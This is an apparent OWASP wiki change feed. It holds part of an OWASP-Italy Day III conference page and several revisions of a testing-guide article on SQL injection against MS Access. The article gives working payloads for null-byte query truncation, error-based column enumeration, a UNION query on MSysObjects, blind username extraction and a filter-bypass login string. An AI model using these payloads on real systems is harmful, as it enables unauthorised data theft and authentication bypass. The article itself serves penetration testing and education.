&amp;lt;td valign=top&amp;gt;14.30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#b9c2dc&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;SHIELDS: metrics, tools and Internet services to improve security in application developments&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Domenico Rotondi, Alessandra Bagnato, Eva Coscia, Cinzia Rubattino - TXT e-solutions Spa&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt; &lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;15.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Secure Code Review: dalla teoria alla pratica&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Antonio Parata - Security Researcher ush.it&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;15.30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#BCA57A&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Coffe break&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;16.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#b9c2dc&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Automatic Generation of Test Cases for Web Application Security: a Software Engineering Perspective&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Prof. Corrado Aaron Visaggio - Università del Sannio&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;16.30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Harden your Java Components!&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Pierre Parrend - SE FZI Karlsruhe&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;17:00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeee1&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Round table:&amp;lt;/b&amp;gt;“La ricerca nella Web Application Security, qual’ è lo stato dell’arte? Quali progetti/iniziative per aiutare le aziende a creare applicazioni più sicure e a difendersi da nuove forme di attacchi? Cosa sta facendo l’Università in tal senso? Quanto sono vicini il mondo aziendale al mondo accademico?”&lt;br /&gt;
Panelist: Danilo Caivano - Università di Bari,  Corrado Aaron Visaggio - Università del Sannio, Giorgio Fedon - COO Minded Security, Mauro Bregolin - Kima &amp;lt;br&amp;gt;&lt;br /&gt;
Keynote: Matteo Meucci&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Goals and Topics:'''&lt;br /&gt;
&lt;br /&gt;
The OWASP Days have always offered a forum for discussion and exchange of ideas among researchers and practitioners who present their experiences and discuss issues related to Web Application Security from a higher level to a technical point of view.&lt;br /&gt;
&lt;br /&gt;
Conference topics include, but are not limited to:&lt;br /&gt;
* The evolution of attacks and countermeasures for the security in the Web Application&lt;br /&gt;
* Case studies of how the Companies have adopted the OWASP Guidelines in their SDLC. &lt;br /&gt;
* Application Security Assessment Model&lt;br /&gt;
* Data Privacy Enabling Technology&lt;br /&gt;
* Experience report in applying OWASP guidelines to industries&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Conference structure and schedule:'''&lt;br /&gt;
&lt;br /&gt;
OWASP-Italy Day III will be all day Conference. The conference aims to provide a workshop-like atmosphere in which contributions can be presented and then time is allowed for constructive discussion of their results and processes.&lt;br /&gt;
&lt;br /&gt;
It will be structured in two sections:&lt;br /&gt;
&lt;br /&gt;
* speakers presentations, questions/answers;&lt;br /&gt;
* round table with international guests discussing the more interesting subjects and issues that arise during the event&lt;br /&gt;
&lt;br /&gt;
During the conference two coffee break (one in the morning and one in the afternoon) and the business lunch will be served.  &lt;br /&gt;
&lt;br /&gt;
The detailed agenda of the conference will be available on the web site before the event.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Call For Sponsorships (OPEN):'''&lt;br /&gt;
 &lt;br /&gt;
The aims of OWASP - Italy community is to guarantee access to the conference for free in order to allow for wide participation and empower the community itself. As so the OWASP - Italy community encourages Industries, Research Institutions and Individuals to sponsor their activities and events. &lt;br /&gt;
Three types of sponsorships are available: &lt;br /&gt;
* Silver sponsorship: 1500 euro. It Includes: the publication of the sponsor logo on the web site&lt;br /&gt;
*Gold Sponsorship: 2500 euro. It includes: the publication of the sponsor logo in the agenda, on the web site, on the flyers and in all the official communications with the attendees at the conference. The possibility to distribute the Company brochures, CDs or other materials to the participants during the event.&lt;br /&gt;
* Platinum Sponsorship: 3000 euro. It includes: the gold sponsorship, dedicated space for the Company to show their offering to the attendees. &lt;br /&gt;
Those who are interested in sponsoring OSWAP-Italy Day III Conference can contact the&lt;br /&gt;
OWASP Italy Day III Organizing Committees:&amp;lt;br&amp;gt;&lt;br /&gt;
Voice : +39 080 544 3270 or  +39 080 544 2300&amp;lt;br&amp;gt;&lt;br /&gt;
Fax : +39 080 544 2536&amp;lt;br&amp;gt;&lt;br /&gt;
E-mail: owasp@di.uniba.it.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Call for Paper (CLOSED) and review process:'''&lt;br /&gt;
&lt;br /&gt;
OWASP solicit contributions on the above topics, or general matters of interest to the community. Those who are interested in participating as speakers to the conference can submit an abstract of the speech to the OWASP-Italy Board by email at:&lt;br /&gt;
owasp-italy &amp;lt;at&amp;gt; owasp.org &amp;lt;br&amp;gt;&lt;br /&gt;
The email subject must be “OWASP Day 3: CFP” and  the email body must contains the following information/sections:&lt;br /&gt;
&lt;br /&gt;
* Name and Surname&lt;br /&gt;
* Affiliation &lt;br /&gt;
* Address  &lt;br /&gt;
* Telephone number&lt;br /&gt;
* email address&lt;br /&gt;
* list of the author’s previous papers/articles/speeches on the same topics &lt;br /&gt;
* Title of the contribution  &lt;br /&gt;
* Type of contribution: Technical or Informative  &lt;br /&gt;
* Abstract (max one A4 style page)&lt;br /&gt;
* Why the contribution is relevant for OWASP-Italy Day 3&lt;br /&gt;
&lt;br /&gt;
The submission will be reviewed by the OWASP-Italy Board and the 8-9 most interesting ones will be selected and invited for presentation &lt;br /&gt;
&lt;br /&gt;
'''Important dates '''&lt;br /&gt;
&lt;br /&gt;
* Contributions submission deadline: 			15th January 2008&lt;br /&gt;
* Communication of acceptance for contributions: 	3rd February 2009 &lt;br /&gt;
* Registration deadline: 				20th February 2009&lt;br /&gt;
* Conference Agenda due: 				10th February 2009 &lt;br /&gt;
* Conference date: 					23rd February 2009  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''OWASP Italy Day III Organizing Committees:'''&lt;br /&gt;
&lt;br /&gt;
* Maria Teresa Baldassarre – Department of Informatics  - University of Bari&lt;br /&gt;
* Danilo Caivano – Department of Informatics  - University of Bari&lt;br /&gt;
* Matteo Meucci – OWASP-Italy Chair &lt;br /&gt;
* Corrado Aaron Visaggio – Engineering Department -  University of Sannio&lt;br /&gt;
* Nicola Quarantiello – ICT Security Consultant&lt;br /&gt;
* Walter Lombardi – Polizia di Stato -  Polizia delle Comunicazioni&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Italy]]&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=37233</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=37233"/>
				<updated>2008-08-26T07:45:49Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this paragraph it is described how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular the article focuses on how to exploit blind sql injection.&lt;br /&gt;
After an initial introduction on which are the typical functions that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
it's introduced a methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, let's showing a typical example of SQL error that can encounter when&lt;br /&gt;
a test is executed:&lt;br /&gt;
&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
That means that maybe we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so it is not possible to use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are ignored. That happens&lt;br /&gt;
because, internally, strings are NULL terminated.&lt;br /&gt;
However, the NULL character can sometimes cause troubles. We can notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query, it is possible to use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example,&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
 ' GROUP BY Id%00&lt;br /&gt;
&lt;br /&gt;
in the error message received we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and, just like by magic, we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Schema ====&lt;br /&gt;
In MS Access exist various tables that can be used to obtain the name of a table in a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
possible to try it. The names of these table are:&lt;br /&gt;
&lt;br /&gt;
* MSysObjects&lt;br /&gt;
* MSysACEs&lt;br /&gt;
* MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example, if a union SQL injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
 ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a SQL injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
* ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
* CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
* LEN: Return the length of the string passed as parameter&lt;br /&gt;
* IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
* MID: This function allows to extract substring, for example the following statement mid('abc',1,1) return 'a'&lt;br /&gt;
* TOP: This function allows to specify the maximum number of results that the query should return from the top. For example TOP 1 will return only 1 row.&lt;br /&gt;
* LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind SQL injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally, you find a SQL injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually, there is no chance to execute shell commands or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?myId=[sql]&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&lt;br /&gt;
For our test, we will consider the myId parameter vulnerable to blind SQL injection.&lt;br /&gt;
We want to extract the content of the table users, in particular, of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other techniques). It is supposed that the reader already knowns the theory behind&lt;br /&gt;
the blind SQL injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST, we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records and not only one record, so we can't use this methodology directly. We must first select only one row. We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
 SELECT TOP 10 username FROM users&lt;br /&gt;
&lt;br /&gt;
Then, we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST functions to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string. With this trick we can distinguish when we have a true response or not. This is because id is of numeric type, so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have no errors. Of course if the parameter was of type string we can use different values. For example, we can have the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id='%20AND%201=0%20OR%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case.&lt;br /&gt;
&lt;br /&gt;
This method allows us to infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36707</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36707"/>
				<updated>2008-08-20T14:06:44Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are not considerated. That happens&lt;br /&gt;
because at the low level the strings are considerated terminated with the NULL char.&lt;br /&gt;
However the NULL character can sometimes cause troubles. If we try every char in the ASCII&lt;br /&gt;
charset we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
 ' GROUP BY Id%00&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and just like by magic we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Schema ====&lt;br /&gt;
In MS Access exist various table that can be used to obtain the name of the table of a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of the table are:&lt;br /&gt;
&lt;br /&gt;
* MSysObjects&lt;br /&gt;
* MSysACEs&lt;br /&gt;
* MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example if a union sql injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
 ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a sql injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
* ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
* CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
* LEN: Return the length of the string passed as parameter&lt;br /&gt;
* IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
* MID: This function permits to extract substring, for example the following statement mid('abc',1,1) return 'a'&lt;br /&gt;
* TOP: This function permits to specify the maximum number of results that the query should return from the top. For example TOP 1 will return only 1 row.&lt;br /&gt;
* LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind sql injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally you find a sql injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually there is no chance to execute shell command or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?myId=[sql]&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&lt;br /&gt;
For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.&lt;br /&gt;
We want to extract the content of the table users, in particular of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind&lt;br /&gt;
the blind sql injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records&lt;br /&gt;
and not only one record, so we can't use this methodology directly. We must first select only one row.&lt;br /&gt;
We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
 SELECT TOP 10 username FROM users&lt;br /&gt;
&lt;br /&gt;
Then we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.&lt;br /&gt;
With &lt;br /&gt;
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,&lt;br /&gt;
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have&lt;br /&gt;
no errors. Of course if the parameter was of type string we can use different values. For example&lt;br /&gt;
we can have the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')&lt;br /&gt;
&lt;br /&gt;
Thanks to this metodology we can infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36706</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36706"/>
				<updated>2008-08-20T14:02:47Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are not considerated. That happens&lt;br /&gt;
because at the low level the strings are considerated terminated with the NULL char.&lt;br /&gt;
However the NULL character can sometimes cause troubles. If we try every char in the ASCII&lt;br /&gt;
charset we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
 ' GROUP BY Id%00&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and just like by magic we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Scheme ====&lt;br /&gt;
In MS Access exist various table that can be used to obtain the name of the table of a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of the table are:&lt;br /&gt;
&lt;br /&gt;
